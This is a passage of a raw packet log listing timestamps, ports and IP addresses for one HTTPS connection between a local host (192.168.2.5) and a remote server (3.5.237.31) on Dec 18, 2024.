Dec 18, 2024 13:05:45.441414118 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:45.441431046 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.441454887 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.441493034 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:45.471860886 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.471942902 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:45.471961021 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.471993923 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.472013950 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:45.517527103 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.517606974 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:45.517642021 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.517674923 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.517700911 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:45.517730951 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:45.517734051 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.517777920 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:45.523303032 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.523369074 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.523377895 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:45.523401022 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.523427010 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:45.523447037 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:45.524113894 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.565514088 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:45.566373110 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.566382885 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.566447973 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:45.566461086 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.566523075 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:45.567181110 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.573070049 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.573116064 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.573169947 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:45.573188066 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.573200941 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:45.623280048 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.623353958 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.623406887 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:45.623450041 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.623481035 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:45.630034924 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.630095005 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.630103111 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.630108118 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:45.630145073 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.630166054 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:45.636357069 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.636408091 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.636435986 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:45.636445045 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.636480093 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:45.666361094 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.666397095 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.666439056 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:45.666461945 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.666498899 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:45.706130028 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:45.706146002 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.712287903 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.712342978 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.712347984 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.712366104 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.712383032 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:45.712405920 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.712434053 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:45.753029108 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:45.764257908 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.764271021 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.764327049 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:45.764333963 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.764344931 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.764379025 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:45.764389992 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.764408112 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:45.764828920 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.764854908 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.764884949 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:45.764897108 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.764899969 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.764921904 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:45.764947891 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:45.812099934 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.812113047 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.812196970 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:45.812252998 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.819427013 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.819469929 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.819513083 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:45.819535971 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.819567919 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:45.825972080 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.826014042 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.826049089 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:45.826081038 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.826118946 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:45.826148033 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:45.832477093 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.832499027 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.832614899 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:45.832650900 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.832725048 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:45.856175900 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.901496887 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.901515961 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.901587963 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:45.901609898 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.907529116 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.907607079 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:45.907624006 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.907716990 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:45.908250093 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.908334017 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:45.951105118 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.951129913 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.951222897 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:45.951246023 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.951340914 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:45.951929092 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.957681894 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.957698107 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:45.957760096 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:45.957778931 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.003026962 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.003082991 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.007297993 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.007328987 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.007431984 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.007736921 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.007736921 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.007736921 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.007752895 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.013789892 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.013834000 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.013881922 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.013904095 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.013921976 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.021104097 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.021146059 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.021173954 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.021183014 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.021229982 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.050594091 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.050635099 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.050678015 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.050695896 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.050713062 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.050746918 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.096023083 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.096050978 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.096148968 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.096210957 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.096242905 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.096323967 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.096924067 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.140563965 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.140590906 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.140701056 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.140736103 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.147130966 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.147152901 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.147263050 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.147286892 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.147291899 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.147342920 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.196111917 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.196135044 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.196243048 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.196265936 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.196639061 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.197114944 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.202599049 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.202627897 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.202718973 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.202732086 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.209017038 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.209109068 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.209146976 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.209160089 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.209168911 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.217222929 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.217372894 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.217389107 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.217468977 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.240566015 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.240797043 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.286158085 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.286181927 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.286243916 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.286245108 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.286277056 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.286289930 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.291625977 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.291636944 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.291706085 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.291728020 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.291749001 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.335489035 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.335536957 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.335585117 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.335613012 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.335639000 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.335666895 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.341820002 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.341835022 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.341892958 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.341901064 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.341967106 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.341973066 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.391640902 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.391663074 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.391747952 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.391762972 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.398030996 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.398072958 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.398080111 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.398108006 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.398143053 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.398174047 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.404469967 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.404505968 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.404553890 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.404571056 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.404612064 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.434933901 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.434990883 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.435003042 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.435024977 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.435075045 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.480592966 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.480643034 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.480688095 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.480711937 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.480741978 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.526344061 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.526360035 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.526410103 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.526432037 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.526451111 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.526454926 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.526489019 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.526510954 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.526587963 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.526715040 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.532140017 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.532151937 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.532215118 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.532226086 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.532236099 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.532288074 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.532793999 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.580288887 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.580307961 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.580368996 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.580379009 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.580410957 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.586772919 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.586783886 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.586805105 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.586842060 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.586858034 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.586883068 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.586888075 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.586904049 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.593194962 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.593266010 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.593269110 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.593290091 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.593333006 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.594084024 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.594141006 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.600435972 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.600454092 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.600501060 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.600514889 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.600549936 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.600569963 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.625055075 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.672111034 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.672164917 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.672339916 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.672357082 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.677575111 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.677596092 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.677634954 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.677659988 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.677675009 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.677834034 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.719728947 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.719790936 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.719871044 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.719886065 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.719937086 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.719963074 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.726099014 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.726108074 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.726264954 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.726278067 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.726289034 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.726351023 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.776272058 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.776297092 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.776374102 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.776388884 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.776401043 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.776437044 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.782708883 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.782732010 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.782783031 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.782789946 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.782824039 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.788361073 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.788377047 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.788434982 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.788444042 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.818648100 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.818672895 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.818726063 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.818738937 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.818766117 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.862406969 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.865672112 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.865681887 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.865710020 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.865715981 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.865747929 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.865782022 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.865828037 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.865910053 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.871154070 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.871174097 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.871246099 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.871279955 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.871289015 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.871355057 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.912894011 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.912916899 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.912981033 CET	49710	443	192.168.2.5	3.5.237.31
Dec 18, 2024 13:05:46.913034916 CET	443	49710	3.5.237.31	192.168.2.5
Dec 18, 2024 13:05:46.913047075 CET	49710	443	192.168.2.5	3.5.237.31
